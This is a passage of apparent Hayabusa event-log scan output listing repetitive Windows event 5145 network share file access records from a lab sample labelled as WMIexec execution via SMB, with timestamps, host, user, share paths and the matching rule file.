Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B46c55d17# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.620 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B46c55d17#\a3f0de129553f858134a0e204ddf44c3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.642 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B83e9cb53# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.642 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B83e9cb53#\b2eb2f250605eb6b697ed75a050e9fa1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B3325a29b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.B3325a29b#\2d63d4f586d1192cb1d550c159a42729 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Baa2ca56b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Baa2ca56b#\71d44db8d855f43bafe707aabf0050d7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Bfc9dc24d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.652 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Bfc9dc24d#\d33525eb35c4aa8b45b1e60e144e50ab : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Build : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Build\d6c8ca8dfe9cd143210459e72a546bf8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C8d726d22# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.683 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C8d726d22#\95eb335a0d6884a4b311ce7041f71bc3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C25dcfcb8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C25dcfcb8#\81fd3145ed18f31e338ec4dcb5afd7f7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C26a36d2b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.699 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.C26a36d2b#\2dab9f12dfcdb3bd487693c1bb12e0a6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.714 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ca018eff0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.714 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ca018eff0#\4d5abc40df9ad72124f147d1d55dd690 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.714 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\004d51a9ac1d91d6537ad572591ebbd3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.D0ff51f83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.D0ff51f83#\b7a83293c2e4f23480fc3660b70099e6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G46fcc235# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G46fcc235#\f8fa567f21f9aef0ae471c625b59c159 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G91a07420# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.730 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.G91a07420#\5d1b6f60febb9cec91a92675a96ee63d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ga41585c2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ga41585c2#\b101a91893057573f159893cb9c2f28d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I0cd65b90# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.746 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I0cd65b90#\e037edd0e9a4a487424cd2d4e3527c92 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I7676db1a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.I7676db1a#\aaf7a4161dcd6792ce570a810a0c53f6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ib6702479# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ib6702479#\662c453241af44299325f4c07d7f718c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ic1a2041b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.764 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ic1a2041b#\154acb6c70e2dddd2c94bf0bc748b8b7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ifcaec084# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ifcaec084#\9d9142f584dbdd4e6d4bd7fd6f877b66 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Kd58820a5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Kd58820a5#\ba928c3b8a0cdac392162a6b572de29f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.M870d558a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.M870d558a#\1b67145a56e345e0d2e731357f498c1d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Meefd589e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Meefd589e#\e857b644c45626101624d874e1860701 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf5ac9168# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.780 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf5ac9168#\1b9aff98baffeed692a8e8768c0c4e47 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\2f732bd1dcfeef1bb935c1d1444abdef : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mff1be75b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mff1be75b#\4844f53bd0e47d8f8a5795e6484a0f88 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P0e11b656# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.796 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P0e11b656#\a169d08938fb7766d16496db1e648137 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.811 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f9a5e83# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.811 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f9a5e83#\75b419c806fb708ac368c6282c922a84 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626#\dd3aaf75f45749961d52d194dab801a2 : IP Address: 